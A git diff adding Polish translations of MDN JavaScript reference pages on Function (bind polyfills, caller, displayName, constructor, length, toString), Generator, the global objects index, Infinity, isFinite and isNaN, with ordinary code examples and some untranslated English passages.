+const unboundSlice = Array.prototype.slice;
+const slice = Function.prototype.apply.bind(unboundSlice);
+
+// ...
+
+slice(arguments);
+
+ +

Polyfill
+ Ponieważ starsze przeglądarki są na ogół również wolniejszymi przeglądarkami, jest to o wiele bardziej krytyczne niż większość ludzi rozpoznaje tworzenie polifillów wydajności, aby przeglądanie w przestarzałych przeglądarkach było nieco mniej straszne.

+ +

W związku z tym poniżej przedstawiono dwie opcje dla funkcji wypełniania funkcji Function.prototype.bind ():

+ +

Pierwszy jest znacznie mniejszy i bardziej wydajny, ale nie działa, gdy używasz nowego operatora.
+ Drugi jest większy i mniej wydajny, ale pozwala na pewne użycie nowego operatora na powiązanych funkcjach.
+ Zasadniczo w większości kodów bardzo rzadko widuje się nowe używane w funkcji powiązanej, więc najlepiej jest wybrać pierwszą opcję.

+ +
//  Does not work with `new funcA.bind(thisArg, args)`
+if (!Function.prototype.bind) (function(){
+  var slice = Array.prototype.slice;
+  Function.prototype.bind = function() {
+    var thatFunc = this, thatArg = arguments[0];
+    var args = slice.call(arguments, 1);
+    if (typeof thatFunc !== 'function') {
+      // closest thing possible to the ECMAScript 5
+      // internal IsCallable function
+      throw new TypeError('Function.prototype.bind - ' +
+             'what is trying to be bound is not callable');
+    }
+    return function(){
+      var funcArgs = args.concat(slice.call(arguments))
+      return thatFunc.apply(thatArg, funcArgs);
+    };
+  };
+})();
+ +

Możesz częściowo obejść ten problem, wstawiając następujący kod na początku skryptów, umożliwiając korzystanie z większości funkcji bind () w implementacjach, które nie obsługują go natywnie.

+ +
//  Yes, it does work with `new funcA.bind(thisArg, args)`
+if (!Function.prototype.bind) (function(){
+  var ArrayPrototypeSlice = Array.prototype.slice;
+  Function.prototype.bind = function(otherThis) {
+    if (typeof this !== 'function') {
+      // closest thing possible to the ECMAScript 5
+      // internal IsCallable function
+      throw new TypeError('Function.prototype.bind - what is trying to be bound is not callable');
+    }
+
+    var baseArgs= ArrayPrototypeSlice .call(arguments, 1),
+        baseArgsLength = baseArgs.length,
+        fToBind = this,
+        fNOP    = function() {},
+        fBound  = function() {
+          baseArgs.length = baseArgsLength; // reset to default base arguments
+          baseArgs.push.apply(baseArgs, arguments);
+          return fToBind.apply(
+                 fNOP.prototype.isPrototypeOf(this) ? this : otherThis, baseArgs
+          );
+        };
+
+    if (this.prototype) {
+      // Function.prototype doesn't have a prototype property
+      fNOP.prototype = this.prototype;
+    }
+    fBound.prototype = new fNOP();
+
+    return fBound;
+  };
+})();
+
+ +

Niektóre z wielu różnic (mogą być też inne, ponieważ ta lista nie próbuje być wyczerpująca) między tym algorytmem a określonym algorytmem to:

+ +

Częściowa implementacja opiera się na {{jsxref ("Array.prototype.slice ()")}}, {{jsxref ("Array.prototype.concat ()")}}, {{jsxref ("Function.prototype.call ( ) ")}} i {{jsxref (" Function.prototype.apply () ")}}, wbudowane metody mające swoje oryginalne wartości.
+ Częściowa implementacja tworzy funkcje, które nie mają niezmiennej „pigułki trucizny” {{jsxref („Function.caller”, „caller”)}} i właściwości argumentów, które wyrzucają {{jsxref („Global_Objects / TypeError”, „TypeError”) }} przy pobieraniu, ustawianiu lub usuwaniu. (Można to dodać, jeśli implementacja obsługuje {{jsxref („Object.defineProperty”)}} lub częściowo zaimplementowana [bez zachowania polegającego na rzucaniu przy usuwaniu], jeśli implementacja obsługuje {{jsxref („Object .__ zdefiniujGetter__”, „ __defineGetter__ ”)}} i {{jsxref („ Object .__ definiSetter__ ”,„ __defineSetter__ ”)}}).
+ Częściowa implementacja tworzy funkcje, które mają właściwość prototypu. (Właściwie powiązane funkcje nie mają żadnych.)
+ Częściowa implementacja tworzy powiązane funkcje, których właściwość {{jsxref („Function.length”, „length”)}}} nie zgadza się z właściwością nakazaną przez ECMA-262: tworzy funkcje o długości 0. Pełna implementacja - w zależności od długość funkcji docelowej i liczba wcześniej określonych argumentów - może zwrócić niezerową długość.
+ Częściowa implementacja tworzy powiązane funkcje, których właściwość {{jsxref („Function.name”, „name”)}} nie jest pochodną oryginalnej nazwy funkcji. Według ECMA-262 nazwa zwróconej funkcji powiązanej powinna być „związana” + nazwa funkcji docelowej.
+ Jeśli zdecydujesz się użyć tej częściowej implementacji, nie możesz polegać na przypadkach, w których zachowanie odbiega od ECMA-262, wydanie 5! Na szczęście te odchylenia od specyfikacji rzadko (jeśli w ogóle) pojawiają się w większości sytuacji kodowania. Jeśli nie rozumiesz żadnego z odchyleń od powyższej specyfikacji, w tym konkretnym przypadku można bezpiecznie nie martwić się o te niezgodne szczegóły odchylenia.

+ +

Jeśli jest to absolutnie konieczne, a wydajność nie stanowi problemu, znacznie wolniejsze (ale bardziej zgodne ze specyfikacją rozwiązanie) można znaleźć na stronie https://github.com/Raynos/function-bind.

+ +

Dane techniczne

+ + + + + + + + + + + + +
Specyfikacja
{{SpecName('ESDraft', '#sec-function.prototype.bind', 'Function.prototype.bind')}}
+ +
Kompatybilność z przeglądarkami
+ Tabela zgodności na tej stronie jest generowana z danych strukturalnych. Jeśli chcesz przyczynić się do danych, sprawdź https://github.com/mdn/browser-compat-data i wyślij nam żądanie ściągnięcia.
+ {{Compat ("javascript.builtins.Function.bind")}}
+ +

See also

+ + diff --git a/files/pl/web/javascript/reference/global_objects/function/caller/index.html b/files/pl/web/javascript/reference/global_objects/function/caller/index.html new file mode 100644 index 0000000000..1c86b7f92f --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/function/caller/index.html @@ -0,0 +1,69 @@ +--- +title: Function.caller +slug: Web/JavaScript/Referencje/Obiekty/Function/caller +tags: + - Function + - JavaScript + - Non-standard + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Function/caller +--- +
{{JSRef}} {{non-standard_header}}
+ +

Podsumowanie

+ +

Określa funkcję, która powołuje się na aktualnie wykonywaną funkcje.

+ +

Opis

+ +

Jeśli funkcja f została wywołana przez kod najwyższego poziomu, własność f.caller ma wartość {{jsxref("null")}}, w przeciwnym przypadku jest to funkcja, która wywołała f.

+ +

Ta własność zastąpiła wycofaną własność {{jsxref("arguments.caller")}}.

+ +

Notes

+ +

Note that in case of recursion, you can't reconstruct the call stack using this property. Consider:

+ +
function f(n) { g(n-1); }
+function g(n) { if(n>0) { f(n); } else { stop(); } }
+f(2);
+
+ +

At the moment stop() is called the call stack will be:

+ +
f(2) -> g(1) -> f(1) -> g(0) -> stop()
+
+ +

The following is true:

+ +
stop.caller === g && f.caller === g && g.caller === f
+
+ +

so if you tried to get the stack trace in the stop() function like this:

+ +
var f = stop;
+var stack = "Stack trace:";
+while (f) {
+  stack += "\n" + f.name;
+  f = f.caller;
+}
+
+ +

the loop would never stop.

+ +

Przykłady

+ +

Przykład: Sprawdzenie wartości własności funkcji caller

+ +

Następujący kod sprawdza wartość własności funkcji caller.

+ +
function myFunc() {
+   if (myFunc.caller == null) {
+      return ("The function was called from the top!");
+   } else {
+      return ("This function's caller was " + myFunc.caller);
+   }
+}
+
+ +
 
diff --git a/files/pl/web/javascript/reference/global_objects/function/displayname/index.html b/files/pl/web/javascript/reference/global_objects/function/displayname/index.html new file mode 100644 index 0000000000..72c8c41257 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/function/displayname/index.html @@ -0,0 +1,119 @@ +--- +title: Function.displayName +slug: Web/JavaScript/Referencje/Obiekty/Function/displayName +translation_of: Web/JavaScript/Reference/Global_Objects/Function/displayName +--- +
{{JSRef}} {{non-standard_header}}
+ +

Właściwość function.displayName zwraca wyświetlaną nazwę funkcji.

+ +

Opis

+ +

Gdy jest zdefiniowana, wlaściwość displayName zwraca wyświetlaną nazwę funkcji:

+ +
function doSomething() {}
+
+console.log(doSomething.displayName); // "undefined"
+
+var popup = function(content) { console.log(content); };
+
+popup.displayName = 'Pokaż Popup';
+
+console.log(popup.displayName); // "Pokaż Popup"
+
+ +

Możesz zdefiniować funkcję z wyświetlaną nazwą {{jsxref("Functions", "function expression", "", 1)}}:

+ +
var object = {
+  someMethod: function() {}
+};
+
+object.someMethod.displayName = 'jakaśMetoda';
+
+console.log(object.someMethod.displayName); // logs "jakaśMetoda"
+
+try { someMethod } catch(e) { console.log(e); }
+// ReferenceError: jakaśMetoda is not defined
+
+ +

Możesz dynamicznie zmieniać displayName z funkcji:

+ +
var object = {
+  // anonymous
+  someMethod: function(value) {
+    this.displayName = 'jakaśMetoda (' + value + ')';
+  }
+};
+
+console.log(object.someMethod.displayName); // "undefined"
+
+object.someMethod('123')
+console.log(object.someMethod.displayName); // "jakaśMetoda (123)"
+
+ +

Przykłady

+ +

Zazwyczaj preferowane jest przez konsole i profilery podczas {{jsxref("Function.name", "func.name")}} aby wyświetlić nazwę funkcji.

+ +

Umieszczony w konsoli powinien wyświetlić coś w rodzaju "function Moja Funkcja()":

+ +
var a = function() {};
+a.displayName = 'Moja Funkcja';
+
+a; // "function Moja Funkcja()"
+ +

Specyfikacja

+ +

Nie jest częścią żadnej specyfikacji.

+ +

Zgodność z przeglądarką

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop(13)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/pl/web/javascript/reference/global_objects/function/index.html b/files/pl/web/javascript/reference/global_objects/function/index.html new file mode 100644 index 0000000000..2db4d33411 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/function/index.html @@ -0,0 +1,237 @@ +--- +title: Function +slug: Web/JavaScript/Referencje/Obiekty/Function +tags: + - Function + - JavaScript + - Konstruktor +translation_of: Web/JavaScript/Reference/Global_Objects/Function +--- +
{{JSRef}}
+ +

Konstruktor Function tworzy nowy obiekt Function(tworzy funkcję poprzez konstruktor). W JavaScripcie właściwie każda funkcja jest obiektem Function.

+ +

Składnia

+ +
new Function ([arg1[, arg2[, ...argN]],] functionBody)
+ +

Parametry

+ +
+
arg1, arg2, ... argN
+
Names to be used by the function as formal argument names. Each must be a string that corresponds to a valid JavaScript identifier or a list of such strings separated with a comma; for example "x", "theValue", or "a,b".
+
functionBody
+
A string containing the JavaScript statements comprising the function definition.
+
+ +

Opis

+ +

Function objects created with the Function constructor are parsed when the function is created. This is less efficient than declaring a function with a function expression or function statement and calling it within your code, because such functions are parsed with the rest of the code.

+ +

All arguments passed to the function are treated as the names of the identifiers of the parameters in the function to be created, in the order in which they are passed.

+ +
+

Note: Functions created with the Function constructor do not create closures to their creation contexts; they always are created in the global scope. When running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the Function constructor was called. This is different from using {{jsxref("Global_Objects/eval", "eval")}} with code for a function expression.

+
+ +

Wywołanie konstruktora Function jako funkcję (bez użycia operatora 'new') ma taki sam efekt jak wywołanie konstruktora(z operatorem).

+ +

Właściwości i metody Function

+ +

The global Function object has no methods or properties of its own, however, since it is a function itself it does inherit some methods and properties through the prototype chain from {{jsxref("Function.prototype")}}.

+ +

Function prototype object

+ +

Właściwości

+ +
{{page('/en-US/docs/JavaScript/Reference/Global_Objects/Function/prototype', 'Properties')}}
+ +

Metody

+ +
{{page('/en-US/docs/JavaScript/Reference/Global_Objects/Function/prototype', 'Methods')}}
+ +

Function instances

+ +

Function instances inherit methods and properties from {{jsxref("Function.prototype")}}. As with all constructors, you can change the constructor's prototype object to make changes to all Function instances.

+ +

Przykłady

+ +

Przykład: Specifying arguments with the Function constructor

+ +

Poniższy przykład tworzy obiekt Function(tworzy funkcję poprzez konstruktor), który przyjmuje dwa argumenty.

+ +
// Przykład może być uruchomiony bezpośrednio w konsoli JavaScript
+
+// Tworzy funkcję, która przyjmuje dwa argumenty i zwraca ich sumę
+var adder = new Function('a', 'b', 'return a + b');
+
+// Wywołanie funkcji
+adder(2, 6);
+// > 8
+
+ +

Argumenty "a" i "b" są formanie nazwami argumentrów, które są użyte w ciele funkcji, "return a + b".

+ +

Przykład: A recursive shortcut to massively modify the DOM

+ +

Creating functions with the Function constructor is one of the ways to dynamically create an indeterminate number of new objects with some executable code into the global scope from a function. The following example (a recursive shortcut to massively modify the DOM) is impossible without the invocation of the Function constructor for each new query if you want to avoid closures.

+ +
<!doctype html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<title>MDN Example - a recursive shortcut to massively modify the DOM</title>
+<script type="text/javascript">
+var domQuery = (function() {
+  var aDOMFunc = [
+    Element.prototype.removeAttribute,
+    Element.prototype.setAttribute,
+    CSSStyleDeclaration.prototype.removeProperty,
+    CSSStyleDeclaration.prototype.setProperty
+  ];
+
+  function setSomething(bStyle, sProp, sVal) {
+    var bSet = Boolean(sVal), fAction = aDOMFunc[bSet | bStyle << 1],
+        aArgs = Array.prototype.slice.call(arguments, 1, bSet ? 3 : 2),
+        aNodeList = bStyle ? this.cssNodes : this.nodes;
+
+    if (bSet && bStyle) { aArgs.push(''); }
+    for (
+      var nItem = 0, nLen = this.nodes.length;
+      nItem < nLen;
+      fAction.apply(aNodeList[nItem++], aArgs)
+    );
+    this.follow = setSomething.caller;
+    return this;
+  }
+
+  function setStyles(sProp, sVal) { return setSomething.call(this, true, sProp, sVal); }
+  function setAttribs(sProp, sVal) { return setSomething.call(this, false, sProp, sVal); }
+  function getSelectors() { return this.selectors; };
+  function getNodes() { return this.nodes; };
+
+  return (function(sSelectors) {
+    var oQuery = new Function('return arguments.callee.follow.apply(arguments.callee, arguments);');
+    oQuery.selectors = sSelectors;
+    oQuery.nodes = document.querySelectorAll(sSelectors);
+    oQuery.cssNodes = Array.prototype.map.call(oQuery.nodes, function(oInlineCSS) { return oInlineCSS.style; });
+    oQuery.attributes = setAttribs;
+    oQuery.inlineStyle = setStyles;
+    oQuery.follow = getNodes;
+    oQuery.toString = getSelectors;
+    oQuery.valueOf = getNodes;
+    return oQuery;
+  });
+})();
+</script>
+</head>
+
+<body>
+
+<div class="testClass">Lorem ipsum</div>
+<p>Some text</p>
+<div class="testClass">dolor sit amet</div>
+
+<script type="text/javascript">
+domQuery('.testClass')
+  .attributes('lang', 'en')('title', 'Risus abundat in ore stultorum')
+  .inlineStyle('background-color', 'black')('color', 'white')('width', '100px')('height', '50px');
+</script>
+</body>
+
+</html>
+ +

 

+ +

Specyfikacja

+ +

 

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
ECMAScript 1st Edition.StandardInitial definition. Implemented in JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.3', 'Function')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-function-objects', 'Function')}}{{Spec2('ES6')}} 
+ +

Kompatybilność z przeglądarkami

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/function/length/index.html b/files/pl/web/javascript/reference/global_objects/function/length/index.html new file mode 100644 index 0000000000..e34ecb8154 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/function/length/index.html @@ -0,0 +1,42 @@ +--- +title: Function.length +slug: Web/JavaScript/Referencje/Obiekty/Function/length +tags: + - Function + - JavaScript + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Function/length +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Określa liczbę argumentów oczekiwanych przez funkcję.

+ +

Opis

+ +

Obiekt length znajduje się na zewnątrz funkcji i określa jak wiele argumentów ma oczekiwać funkcja, i.e. liczbę oficjalnych parametrów. W przeciwieństwie do obiektu {{jsxref("arguments.length")}}, który znajduje się wewnątrz funkcji, określa liczbę argumentów faktycznie przekazywanych do funkcji.

+ +

Przykład

+ +

Przykład: Zastosowanie Function.length i arguments.length

+ +

Następujący przykład pokazuje w jaki należy zastosować Function.length i arguments.length.

+ +
function addNumbers(x, y){
+   if (arguments.length == addNumbers.length) {
+      return (x + y);
+   }
+   else
+      return 0;
+}
+
+ +

Jeśli podamy więcej niż dwa argumenty do tej funkcji, funkcja zwróci 0:

+ +
addNumbers(3,4,5)   // zwraca 0
+addNumbers(3,4)     // zwraca 7
+addNumbers(103,104) // zwraca 207
+
+ +
 
diff --git a/files/pl/web/javascript/reference/global_objects/function/tostring/index.html b/files/pl/web/javascript/reference/global_objects/function/tostring/index.html new file mode 100644 index 0000000000..2f158219b9 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/function/tostring/index.html @@ -0,0 +1,56 @@ +--- +title: Function.prototype.toString() +slug: Web/JavaScript/Referencje/Obiekty/Function/toString +tags: + - Function + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Function/toString +--- +
{{JSRef}}
+ +

Podsumowanie

+ +

Zwraca łańcuch znaków reprezentujący kod źródłowy funkcji.

+ +

Składnia

+ +
function.toString(indentation)
+ +

Parametry

+ +
+
indentation {{non-standard_inline}} {{obsolete_inline(17)}}
+
The amount of spaces to indent the string representation of the source code. If indentation is less than or equal to -1, most unnecessary spaces are removed.
+
+ +

Opis

+ +

Obiekt {{jsxref("Function")}} przesłania metodę {{jsxref("Object.prototype.toString", "toString")}} obiektu {{jsxref("Function")}}; nie dziedziczy {{jsxref("Object.prototype.toString")}}. Dla obiektów Function, metoda toString() zwraca łańcuch znaków reprezentujący obiekt.

+ +

JavaScript wywołuje metodę toString() automatycznie, gdy {{jsxref("Function")}} jest reprezentowana jako wartość tekstowa lub kiedy Function jest odsyłana do połączenia łańcuchów znaków.

+ +

Dla obiektów {{jsxref("Function")}}, wbudowana metoda toString)= dekompiluje funkcję z powrotem do kodu JavaScript, który tę funkcję definiuje. Łańcuch znaków zawiera słowa kluczowe function, listę argumentów, nawiasy klamrowe oraz ciało funkcji.

+ +

Załóżmy na przykład, że masz poniższy kod, który definiuje obiektowy typ Dog i tworzy theDog, obiekt typu Dog:

+ +
function Dog(name, breed, color, sex) {
+   this.name = name
+   this.breed = breed
+   this.color = color
+   this.sex = sex
+}
+
+theDog = new Dog( "Gabby", "Lab", "chocolate", "girl" );
+
+ +

W dowolnej chwili, gdy Dog jest użyty w kontekście jako łańcuch znaków, JavaScript automatycznie wywołuje funkcję toString, która zwraca poniższy łańcuch znaków:

+ +
function Dog(name, breed, color, sex) { this.name = name; this.breed = breed; this.color = color; this.sex = sex; }
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/generator/index.html b/files/pl/web/javascript/reference/global_objects/generator/index.html new file mode 100644 index 0000000000..8d181f0dcc --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/generator/index.html @@ -0,0 +1,178 @@ +--- +title: Generator +slug: Web/JavaScript/Referencje/Obiekty/Generator +translation_of: Web/JavaScript/Reference/Global_Objects/Generator +--- +
{{JSRef}}
+ +

Obiekt Generator jest zwracany przez {{jsxref("Polecenia/function*", "generator function", "", 1)}} i odpowiada obu: iterable protocol i iterator protocol.

+ +

Syntax

+ +
function* gen() {
+  yield 1;
+  yield 2;
+  yield 3;
+}
+
+var g = gen(); // "Generator { }"
+ +

Methods

+ +
+
{{jsxref("Generator.prototype.next()")}}
+
Returns a value yielded by the {{jsxref("Operators/yield", "yield")}} expression.
+
{{jsxref("Generator.prototype.return()")}}
+
Returns the given value and finishes the generator.
+
{{jsxref("Generator.prototype.throw()")}}
+
Throws an error to a generator.
+
+ +

Example

+ +

An infinite iterator

+ +
function* idMaker() {
+    var index = 0;
+    while(true)
+        yield index++;
+}
+
+var gen = idMaker(); // "Generator { }"
+
+console.log(gen.next().value); // 0
+console.log(gen.next().value); // 1
+console.log(gen.next().value); // 2
+// ...
+ +

Legacy generator objects

+ +

Firefox (SpiderMonkey) also implements an earlier version of generators in JavaScript 1.7, where the star (*) in the function declaration was not necessary (you just use the yield keyword in the function body). However, legacy generators are deprecated. Do not use them; they are going to be removed ({{bug(1083482)}}).

+ +

Legacy generator methods

+ +
+
Generator.prototype.next() {{non-standard_inline}}
+
Returns a value yielded by the {{jsxref("Operatory/yield", "yield")}} expression. This corresponds to next() in the ES2015 generator object.
+
Generator.prototype.close() {{non-standard_inline}}
+
Closes the generator, so that when calling next() an {{jsxref("StopIteration")}} error will be thrown. This corresponds to the return() method in the ES2015 generator object.
+
Generator.prototype.send() {{non-standard_inline}}
+
Used to send a value to a generator. The value is returned from the {{jsxref("Operatory/yield", "yield")}} expression, and returns a value yielded by the next {{jsxref("Operatory/yield", "yield")}} expression. send(x) corresponds to next(x) in the ES2015 generator object.
+
Generator.prototype.throw() {{non-standard_inline}}
+
Throws an error to a generator. This corresponds to the throw() method in the ES2015 generator object.
+
+ +

Legacy generator example

+ +
function fibonacci() {
+  var a = yield 1;
+  yield a * 2;
+}
+
+var it = fibonacci();
+console.log(it);          // "Generator {  }"
+console.log(it.next());   // 1
+console.log(it.send(10)); // 20
+console.log(it.close());  // undefined
+console.log(it.next());   // throws StopIteration (as the generator is now closed)
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-generator-objects', 'Generator objects')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-generator-objects', 'Generator objects')}}{{Spec2('ESDraft')}} 
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(39.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(39.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(39.0)}}
+
+ +

See also

+ +

Legacy generators

+ + + +

ES2015 generators

+ + diff --git a/files/pl/web/javascript/reference/global_objects/index.html b/files/pl/web/javascript/reference/global_objects/index.html new file mode 100644 index 0000000000..ebe6dfe63f --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/index.html @@ -0,0 +1,193 @@ +--- +title: Obiekty +slug: Web/JavaScript/Referencje/Obiekty +tags: + - Dokumentacja + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects +--- +
{{jsSidebar("Objects")}}
+ +

W tym rozdziale opisano wszystkie standardowe obiekty wbudowane JavaScript, w tym ich metody i właściwości.

+ +

Pojęcie "obiekty globalne" (lub standardowe obiekty wbudowane) tutaj nie są tym samym, co obiekt globalny, który  odnosi się do obiektów o zasięgu globalnym. Dostęp do obiektu globalnego można uzyskać za pomocą operatoa {{jsxref("Operatory/this", "this")}} w zakresie globalnym (ale tylko, jeśli nie jest właczony tryb ścisły ECMAScript 5. W trybie ścisłym, w takim przypadku zostanie zwrócona wartość  {{jsxref("undefined")}}). W rzeczywistości, zakres globalny składa się z własciwości obiektu globalnego, w tym właściwości dziedziczonych, jeśli istnieją.

+ +

Innymi obiektami o zasięgu globalnym są obiekty tworzone w skryptach przez użytkowników albo dostarczane przez aplikacje hosta. Obiekty hosta dostępne w kontekście przeglądarki są opisane w  informatorze API. Więcej informacji o różnicach dzielących DOM i rdzeń JavaScript, znajdziesz we Przeglądzie technologii JavaScript.

+ +

Obiekty standardowe wg kategorii

+ +

Wartości

+ +

Właściwości globalne zwracają proste wartości, które nie mają swoich własciwości ani metod

+ + + +

Funkcje

+ +

Należą tu funkcje globalne (wywoływane globalnie a nie w jakimś obiekcie), które  zwracają swoją wartość bezpośredni do wywołania.

+ + + +

Obiekty podstawowe

+ +

Są to  fundamentalne, podstawowe obiekty, stanowiące podstawę do tworzenia innych obiektów. Obejmuje to obiekty reprezentujace obiekty ogólne, funkcje i błędy.

+ + + +

Liczby i daty

+ +

Są to obiekty podstawowe reprezentujace liczby, daty i obliczenia matematyczne.

+ + + +

Przetwarzanie tekstu

+ +

Kategorie te tworzą obiekty reprezentujące łańcuchy i obsługujace manipulowanie łańcuchami.

+ + + +

Indeksowane kolekcje

+ +

Obiekty te reprezentują kolekcje danych, ktore są uporządkowane według wartości indeksu. Opejmuje to tablice, typowane tablice i konstrukcje podobne do tablic.

+ + + +

Kolekcje z kluczami

+ +

Są to obiekty reprezentujące kolekcje stosujace klucze. Zawierają elementy, które są iterowalne w kolejności estawiania.

+ + + +

Kolekcje wektorowe

+ +

Typy danych wektorowych {{Glossary("SIMD")}} są obiektami, w których dane formowane są w potoki.

+ + + +

Dane strukturalne

+ +

Obiekty tej kategorii reprezentują i współdziałają ze strukturyzowanymi buforami danych i danymi kodowymi uzywającymi notacji JSON (JavaScript Object Notation).

+ + + +

Kontrola obiektów abstrakcyjnych

+ + + +

Refleksy

+ + + +

Internacjonalizacja

+ +

Dodatki do jadra ECMAScript dla funkcji językowych.

+ + + +

WebAssembly

+ + + +

Pozostałe

+ + diff --git a/files/pl/web/javascript/reference/global_objects/infinity/index.html b/files/pl/web/javascript/reference/global_objects/infinity/index.html new file mode 100644 index 0000000000..7a2bd7ca45 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/infinity/index.html @@ -0,0 +1,35 @@ +--- +title: Infinity +slug: Web/JavaScript/Referencje/Obiekty/Infinity +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/Infinity +--- +
+
+
{{jsSidebar("Objects")}}
+
+
+ +

Podsumowanie

+ +

Wartość numeryczna reprezentująca nieskończoność.

+ +

Składnia

+ +
Infinity 
+ +

Opis

+ +

Infinity jest własnością najwyższego rzędu i nie jest przypisana do żadnego obiektu.

+ +

Początkową wartością Infinity jest {{jsxref("Number.POSITIVE_INFINITY")}}.

+ +

Wartość Infinity (+nieskończoność) jest większa niż jakakolwiek liczba. Wartość ta ma wszystkie cechy matematycznej nieskończoności; np. cokolwiek pomnożone przez Infinity jest równe Infinity, a cokolwiek podzielone przez Infinity jest równe 0.

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/isfinite/index.html b/files/pl/web/javascript/reference/global_objects/isfinite/index.html new file mode 100644 index 0000000000..3b699e33c2 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/isfinite/index.html @@ -0,0 +1,56 @@ +--- +title: isFinite() +slug: Web/JavaScript/Referencje/Obiekty/isFinite +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/isFinite +--- +
+
+
{{jsSidebar("Objects")}}
+
+
+ +

Podsumowanie

+ +

Przetwarza argument w celu stwierdzenia czy jest on liczbą skończoną.

+ +

Składnia

+ +
isFinite(liczba)
+ +

Parametry

+ +
+
liczba 
+
Liczba do przetworzenia.
+
+ +

Opis

+ +

isFinite() jest funkcją najwyższego poziomu, niepowiązaną z żadnym obiektem.

+ +

Można użyć tej metody do określenia czy dana liczba jest skończona. Metoda isFinite() sprawdza liczbę podaną jako jej argument. Jeśli argument ma wartość {{jsxref("NaN")}} (nie jest liczbą), jest dodatnią lub ujemną nieskończonością, metoda ta zwraca false, w przeciwnym wypadku zwraca wartość true.

+ +

Przykłady

+ +
isFinite(Infinity);  // false
+isFinite(NaN);       // false
+isFinite(-Infinity); // false
+
+isFinite(0);         // true
+isFinite(2e64);      // true
+
+
+isFinite("0");       // true, would've been false with the
+                     // more robust Number.isFinite("0")
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/isnan/index.html b/files/pl/web/javascript/reference/global_objects/isnan/index.html new file mode 100644 index 0000000000..f2730b9c00 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/isnan/index.html @@ -0,0 +1,53 @@ +--- +title: isNaN() +slug: Web/JavaScript/Referencje/Obiekty/isNaN +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/isNaN +--- +

{{jsSidebar("Objects")}}

+ +

Podsumowanie

+ +

Sprawdza, czy argument nie ma wartości NaN ("nie-liczba").

+ +

Składnia

+ +
isNaN(testowanaWartość)
+ +

Parametry

+ +
+
testowanaWartość 
+
Wartość do sprawdzenia.
+
+ +

Opis

+ +

isNaN jest funkcją najwyższego rzędu i nie jest przypisana do żadnego obiektu.

+ +

Funkcje parseFloat i parseInt zwracają NaN, kiedy wyliczą wartość, która nie jest liczbą. isNaN zwraca true, jeśli przekazano jej NaN, a false w przeciwnym wypadku.

+ +

Funkcja ta jest o tyle przydatna, że wartości {{jsxref("NaN", "NaN")}} nie można skutecznie sprawdzać przy użyciu operatorów równości. x == NaN i x === NaN mają zawsze wartość false, bez względu na to, jaką wartość ma x, nawet jeśli x to NaN. Na przykład, zarówno 1 == NaN, jak i NaN == NaN zwracają false.

+ +

Przykłady

+ +

Przykład: Zastosowanie isNaN

+ +

Poniższy przykład wylicza wartość floatValue, by sprawdzić, czy jest liczbą, a następnie wywołuje odpowiednią procedurę.

+ +
var floatValue = parseFloat(toFloat);
+
+if (isNaN(floatValue)) {
+   notFloat();
+} else {
+   isFloat();
+}
+
+ +

